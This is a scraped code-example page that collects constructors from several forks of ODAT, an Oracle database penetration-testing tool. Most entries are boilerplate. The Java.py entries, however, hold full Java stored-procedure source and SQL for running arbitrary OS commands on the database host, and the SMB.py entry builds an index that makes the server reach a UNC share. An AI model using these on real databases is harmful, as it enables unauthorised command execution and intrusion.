示例#1
0
    def __init__(self, args):
        '''
		Constructor
		'''
        logging.debug("CVE_XXXX_YYYY object created")
        OracleDatabase.__init__(self, args)
        self.args = args
示例#2
0
文件: DbmsScheduler.py 项目: 6zq/odat
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("DbmSscheduler object created")
		OracleDatabase.__init__(self,args)
		self.jobName = None
示例#3
0
    def __init__(self, args):
        '''
		Constructor
		'''
        logging.debug("Passwords object created")
        OracleDatabase.__init__(self, args)
        self.passwords = []
示例#4
0
文件: Passwords.py 项目: CyL0NG/odat
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("Passwords object created")
		OracleDatabase.__init__(self,args)
		self.passwords = []
示例#5
0
    def __init__(self, args):
        '''
		Constructor
		'''
        logging.debug("DbmSscheduler object created")
        OracleDatabase.__init__(self, args)
        self.jobName = None
示例#6
0
文件: CVE_XXXX_YYYY.py 项目: 6zq/odat
	def __init__(self, args):
		'''
		Constructor
		'''
		logging.debug("CVE_XXXX_YYYY object created")
		OracleDatabase.__init__(self,args)
		self.args=args
示例#7
0
文件: Ctxsys.py 项目: zyayaa/odat
    def __init__(self, args):
        '''
		Constructor
		'''
        logging.debug("Ctxsys object created")
        OracleDatabase.__init__(self, args)
        self.tableName = self.__generateRandomString__()
        self.indexName = self.__generateRandomString__()
示例#8
0
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("UsernameLikePassword object created")
		OracleDatabase.__init__(self,args)
		self.allUsernames = []
		self.validAccountsList = []
示例#9
0
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("PrivilegeEscalation object created")
		OracleDatabase.__init__(self,args)
		#Ccommon
		self.GRANT_DBA_TO_USER = "******"#{0} User
示例#10
0
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("PrivilegeEscalation object created")
		OracleDatabase.__init__(self,args)
		#Ccommon
		self.GRANT_DBA_TO_USER = "******"#{0} User
示例#11
0
    def __init__(self, args):
        '''
		Constructor
		'''
        logging.debug("UsernameLikePassword object created")
        OracleDatabase.__init__(self, args)
        self.allUsernames = []
        self.validAccountsList = []
示例#12
0
文件: Ctxsys.py 项目: GHubgenius/odat
    def __init__(self, args):
        """
		Constructor
		"""
        logging.debug("Ctxsys object created")
        OracleDatabase.__init__(self, args)
        self.tableName = self.__generateRandomString__()
        self.indexName = self.__generateRandomString__()
示例#13
0
文件: Info.py 项目: 6zq/odat
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("Info object created")
		OracleDatabase.__init__(self,args)
		self.version = ''
		self.os = ''
示例#14
0
文件: Info.py 项目: missdiog/odat
    def __init__(self, args):
        '''
		Constructor
		'''
        logging.debug("Info object created")
        OracleDatabase.__init__(self, args)
        self.version = ''
        self.os = ''
示例#15
0
    def __init__(self, args):
        '''
		Constructor
		'''
        logging.debug("DirectoryManagement object created")
        OracleDatabase.__init__(self, args)
        self.PREFIX = "ODATPREFIX"
        #self.__dropAllOldDirectories__()
        self.__setDirectoryName__()
示例#16
0
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("DirectoryManagement object created")
		OracleDatabase.__init__(self,args)	
		self.PREFIX = "ODATPREFIX"
		#self.__dropAllOldDirectories__()
		self.__setDirectoryName__()
示例#17
0
文件: Unwrapper.py 项目: unbaiat/odat
	def __init__(self,args, offline):
		'''
		Constructor
		'''
		logging.debug("Unwrapper object created")
		self.offline = offline
		if offline == False:
			logging.debug("Offline mode of Unwrapper module enabled.")
			OracleDatabase.__init__(self,args)
		else:
			logging.debug("Offline mode of Unwrapper module disabled")
示例#18
0
文件: Unwrapper.py 项目: sry309/odat
    def __init__(self, args, offline):
        '''
		Constructor
		'''
        logging.debug("Unwrapper object created")
        self.offline = offline
        if offline == False:
            logging.debug("Offline mode of Unwrapper module enabled.")
            OracleDatabase.__init__(self, args)
        else:
            logging.debug("Offline mode of Unwrapper module disabled")
示例#19
0
	def __init__(self,args,accountsFile,timeSleep=0):
		'''
		Constructor
		'''
		OracleDatabase.__init__(self,args)
		self.accountsFile = accountsFile
		if self.accountsFile == '' : self.accounts = []
		else : self.accounts = self.__getAccounts__()
		self.valideAccounts = {}
		self.args['SYSDBA'] = False
		self.args['SYSOPER'] = False
		self.timeSleep = timeSleep
示例#20
0
文件: Http.py 项目: unbaiat/odat
    def __init__(self, args):
        """
		Constructor
		"""
        logging.debug("Http object created")
        OracleDatabase.__init__(self, args)
        self.ERROR_NO_HTTP = "ORA-29263: "
        self.ERROR_PROTOCOL = "ORA-29259: "
        self.ERROR_NO_OPEN = "ORA-12541: "
        self.ERROR_TIMEOUT = "ORA-12535: "
        self.ERROR_TRANSF_TIMEOUT = "ORA-29276: "
        self.ERROR_UTL_TCP_NETWORK = "ORA-29260: "
示例#21
0
文件: Http.py 项目: missdiog/odat
    def __init__(self, args):
        '''
		Constructor
		'''
        logging.debug("Http object created")
        OracleDatabase.__init__(self, args)
        self.ERROR_NO_HTTP = "ORA-29263: HTTP protocol error"
        self.ERROR_PROTOCOL = "ORA-29259: end-of-input reached"
        self.ERROR_NO_OPEN = "ORA-12541: TNS:no listener"
        self.ERROR_TIMEOUT = "ORA-12535: TNS:operation timed out"
        self.ERROR_TRANSF_TIMEOUT = "ORA-29276: transfer timeout"
        self.ERROR_UTL_TCP_NETWORK = "ORA-29260: network error"
示例#22
0
文件: Http.py 项目: CyL0NG/odat
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("Http object created")
		OracleDatabase.__init__(self,args)
		self.ERROR_NO_HTTP = "ORA-29263: HTTP protocol error"
		self.ERROR_PROTOCOL = "ORA-29259: end-of-input reached"	
		self.ERROR_NO_OPEN = "ORA-12541: TNS:no listener"
		self.ERROR_TIMEOUT = "ORA-12535: TNS:operation timed out"
		self.ERROR_TRANSF_TIMEOUT = "ORA-29276: transfer timeout"
		self.ERROR_UTL_TCP_NETWORK = "ORA-29260: network error"
示例#23
0
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("Http object created")
		OracleDatabase.__init__(self,args)
		self.ERROR_NO_HTTP = "ORA-29263: "
		self.ERROR_PROTOCOL = "ORA-29259: "	
		self.ERROR_NO_OPEN = "ORA-12541: "
		self.ERROR_TIMEOUT = "ORA-12535: "
		self.ERROR_TRANSF_TIMEOUT = "ORA-29276: "
		self.ERROR_UTL_TCP_NETWORK = "ORA-29260: "
示例#24
0
	def __init__(self, args, SIDFile, timeSleep=0):
		'''
		Constructor
		'''
		logging.debug("SIDGuesser object created")
		OracleDatabase.__init__(self,args)
		self.SIDFile = SIDFile
		self.sids = []
		self.valideSIDS = []
		self.args['SYSDBA'] = False
		self.args['SYSOPER'] = False
		self.timeSleep = timeSleep
		self.NO_GOOD_SID_STRING_LIST = ["listener does not currently know of service requested","connection to server failed"]
示例#25
0
	def __init__(self, args, SIDFile, timeSleep=0):
		'''
		Constructor
		'''
		logging.debug("SIDGuesser object created")
		OracleDatabase.__init__(self,args)
		self.SIDFile = SIDFile
		self.sids = []
		self.valideSIDS = []
		self.args['SYSDBA'] = False
		self.args['SYSOPER'] = False
		self.timeSleep = timeSleep
		self.NO_GOOD_SID_STRING_LIST = ["listener does not currently know of service requested","listener does not currently know of SID","connection to server failed"]
示例#26
0
	def __init__(self,args,accountsFile,loginFile,passwordFile,loginAsPwd,timeSleep=0):
		'''
		Constructor
		'''
		OracleDatabase.__init__(self,args)
		self.accountsFile = accountsFile
		self.loginFile = loginFile
		self.passwordFile = passwordFile
		self.loginAsPwd = loginAsPwd
		if self.accountsFile == '' : self.accounts = []
		else : self.accounts = self.__getAccounts__()
		self.valideAccounts = {}
		self.args['SYSDBA'] = False
		self.args['SYSOPER'] = False
		self.timeSleep = timeSleep
示例#27
0
	def __init__(self,args,accountsFile,loginFile,passwordFile,loginAsPwd,timeSleep=0):
		'''
		Constructor
		'''
		OracleDatabase.__init__(self,args)
		self.accountsFile = accountsFile
		self.loginFile = loginFile
		self.passwordFile = passwordFile
		self.loginAsPwd = loginAsPwd
		if self.accountsFile == '' : self.accounts = []
		else : self.accounts = self.__getAccounts__()
		self.valideAccounts = {}
		self.args['SYSDBA'] = False
		self.args['SYSOPER'] = False
		self.timeSleep = timeSleep
示例#28
0
文件: SMB.py 项目: zyayaa/odat
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("SMB object created")
		OracleDatabase.__init__(self,args)
		self.localIp = "127.0.0.1"
		self.shareName = "SHARE"
		self.TABLE_NAME = "ODAT_SMB_table"
		self.SQL_CREATE_TABLE = "CREATE TABLE {0} (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6))"
		self.SQL_DROP_TABLE = "DROP TABLE {0}"
		self.SQL_INSERTINTO = "INSERT INTO {0} VALUES (1, '\\\\{1}\\{2}', NULL)"
		self.INDEX_NAME = "ODAT_SMB_INDEX"
		self.SQL_CREATE_INDEX = "CREATE INDEX {0} ON {1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format')"
		self.SQL_DROP_INDEX = "DROP INDEX {0}"
		self.loadInformationRemoteDatabase()
示例#29
0
文件: Java.py 项目: bakink/odat
    def __init__(self, args):
        '''
		Constructor
		'''
        logging.debug("Java object created")
        OracleDatabase.__init__(self, args)
        self.SOURCE_OS_COMMAND_CLASS = """
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "OSCommand" AS
  import java.io.*;
  public class OSCommand {
    public static String executeCommand(String command) {
      StringBuffer sb = new StringBuffer();
      try {
        String[] finalCommand;
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
          String systemRootvariable;
          try {systemRootvariable = System.getenv("SystemRoot");} 
          catch (ClassCastException e) {
	        systemRootvariable = System.getProperty("SystemRoot");
          }
          finalCommand = new String[4];
          finalCommand[0] = systemRootvariable+"\\\system32\\\cmd.exe";
          finalCommand[1] = "/y";
          finalCommand[2] = "/c";
          finalCommand[3] = command;
        } else { // Linux or Unix System
          finalCommand = new String[3];
          finalCommand[0] = "/bin/sh";
          finalCommand[1] = "-c";
          finalCommand[2] = command;
        }
        // Execute the command...
        final Process pr = Runtime.getRuntime().exec(finalCommand);
        pr.waitFor();
        // Capture output from STDOUT
        BufferedReader br_in = null;
        try {
          br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
          String buff = null;
          while ((buff = br_in.readLine()) != null) {
            sb.append(buff); sb.append("\\n");
            //try {Thread.sleep(100);} catch(Exception e) {}
          }
          br_in.close();
        } catch (IOException ioe) {
          sb.append("IOException in input stream: ").append(ioe.getMessage());
          System.out.println("Error printing process output.");
          ioe.printStackTrace();
        } finally {
          try {
            br_in.close();
          } catch (Exception ex) {}
        }
        // Capture output from STDERR
        BufferedReader br_err = null;
        try {
          br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
          String buff = null;
          while ((buff = br_err.readLine()) != null) {
            sb.append("stderr:");
            sb.append(buff);
            sb.append("\\n");
            //try {Thread.sleep(100);} catch(Exception e) {}
          }
          br_err.close();
        } catch (IOException ioe) {
          sb.append("IOException in error stream: ").append(ioe.getMessage());
          System.out.println("Error printing execution errors.");
          ioe.printStackTrace();
        } finally {
          try {
            br_err.close();
          } catch (Exception ex) {}
        }
      }
      catch (Exception ex) {
        sb.append("Exception: ").append(ex.getMessage());
        System.out.println(ex.getLocalizedMessage());
      }
      return sb.toString();
    }
  };"""
        self.SOURCE_OS_COMMAND_CREATE_FUNCTION = "CREATE OR REPLACE FUNCTION oscmd (p_command IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'OSCommand.executeCommand (java.lang.String) return java.lang.String';"
        self.SOURCE_OS_COMMAND_EXEC = "select oscmd('{0}') from dual"
        self.SOURCE_DROP_CLASS = "DROP JAVA SOURCE \"OSCommand\""
        self.SOURCE_DROP_FUNCTION = "DROP FUNCTION oscmd"
        self.LINUX_CMD_ERROR = 'No such file or directory'
        self.JAVA_SESSION_CLEARED = "Java session state cleared"
示例#30
0
文件: Search.py 项目: 6zq/odat
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("Search object created")
		OracleDatabase.__init__(self,args)
示例#31
0
文件: SMB.py 项目: missdiog/odat
    def __init__(self, args):
        '''
		Constructor
		'''
        logging.debug("SMB object created")
        OracleDatabase.__init__(self, args)
示例#32
0
文件: Java.py 项目: 6zq/odat
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("Java object created")
		OracleDatabase.__init__(self,args)
		self.SOURCE_OS_COMMAND_CLASS = """
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "OSCommand" AS
  import java.io.*;
  public class OSCommand {
    public static String executeCommand(String command) {
      StringBuffer sb = new StringBuffer();
      try {
        String[] finalCommand;
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
          String systemRootvariable;
          try {systemRootvariable = System.getenv("SystemRoot");} 
          catch (ClassCastException e) {
	   systemRootvariable = System.getProperty("SystemRoot");
          }
          finalCommand = new String[4];
          finalCommand[0] = systemRootvariable+"\\\system32\\\cmd.exe";
          finalCommand[1] = "/y";
          finalCommand[2] = "/c";
          finalCommand[3] = command;
        } else { // Linux or Unix System
          finalCommand = new String[3];
          finalCommand[0] = "/bin/sh";
          finalCommand[1] = "-c";
          finalCommand[2] = command;
        }
        // Execute the command...
        final Process pr = Runtime.getRuntime().exec(finalCommand);
        // Capture output from STDOUT
        BufferedReader br_in = null;
        try {
          br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
          String buff = null;
          while ((buff = br_in.readLine()) != null) {
            sb.append(buff); sb.append("\\n");
            try {Thread.sleep(100);} catch(Exception e) {}
          }
          br_in.close();
        } catch (IOException ioe) {
          System.out.println("Error printing process output.");
          ioe.printStackTrace();
        } finally {
          try {
            br_in.close();
          } catch (Exception ex) {}
        }
        // Capture output from STDERR
        BufferedReader br_err = null;
        try {
          br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
          String buff = null;
          while ((buff = br_err.readLine()) != null) {
            sb.append("stderr:");
            sb.append(buff);
            sb.append("\\n");
            try {Thread.sleep(100);} catch(Exception e) {}
          }
          br_err.close();
        } catch (IOException ioe) {
          System.out.println("Error printing execution errors.");
          ioe.printStackTrace();
        } finally {
          try {
            br_err.close();
          } catch (Exception ex) {}
        }
      }
      catch (Exception ex) {
        System.out.println(ex.getLocalizedMessage());
      }
      return sb.toString();
    }
  };"""
		self.SOURCE_OS_COMMAND_CREATE_FUNCTION = "CREATE OR REPLACE FUNCTION oscmd (p_command IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'OSCommand.executeCommand (java.lang.String) return java.lang.String';"
		self.SOURCE_OS_COMMAND_EXEC = "select oscmd('{0}') from dual"
		self.SOURCE_DROP_CLASS = "DROP JAVA SOURCE \"OSCommand\""
		self.SOURCE_DROP_FUNCTION = "DROP FUNCTION oscmd"
		self.LINUX_CMD_ERROR = 'No such file or directory'
		self.JAVA_SESSION_CLEARED = "Java session state cleared"